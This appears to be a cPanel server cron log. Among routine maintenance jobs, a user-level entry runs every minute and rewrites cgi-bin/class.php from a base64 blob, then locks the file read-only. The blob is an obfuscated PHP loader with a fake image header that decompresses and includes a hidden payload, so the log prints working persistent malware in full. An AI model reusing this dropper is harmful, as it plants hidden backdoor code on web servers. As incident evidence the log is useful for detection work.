Sep 12 11:42:01 server CROND[29121]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:42:01 server CROND[29122]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 11:43:01 server CROND[29591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:43:01 server CROND[29592]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:43:01 server CROND[29593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:44:01 server CROND[29971]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:44:01 server CROND[29972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:44:01 server CROND[29973]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:45:01 server CROND[30360]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 11:45:01 server CROND[30361]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:45:01 server CROND[30362]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 11:45:01 server CROND[30363]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:45:01 server CROND[30368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:45:01 server CROND[30364]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 11:45:01 server CROND[30366]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 11:46:01 server CROND[31188]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:46:01 server CROND[31189]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:46:01 server CROND[31190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:47:01 server CROND[31580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:47:01 server CROND[31581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:47:01 server CROND[31582]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:48:01 server CROND[32064]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:48:01 server CROND[32065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:48:01 server CROND[32066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:49:01 server CROND[32456]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:49:01 server CROND[32457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:49:01 server CROND[32458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:50:01 server CROND[401]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 11:50:01 server CROND[404]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 11:50:01 server CROND[403]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 11:50:01 server CROND[405]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 11:50:01 server CROND[406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:50:01 server CROND[410]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 11:50:01 server CROND[408]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 11:50:01 server CROND[407]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:50:01 server CROND[409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:51:01 server CROND[1423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:51:01 server CROND[1424]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:51:01 server CROND[1425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:52:01 server CROND[1817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:52:01 server CROND[1818]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:52:01 server CROND[1820]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:53:01 server CROND[2329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:53:01 server CROND[2330]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:53:01 server CROND[2332]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:54:01 server CROND[2756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:54:01 server CROND[2757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
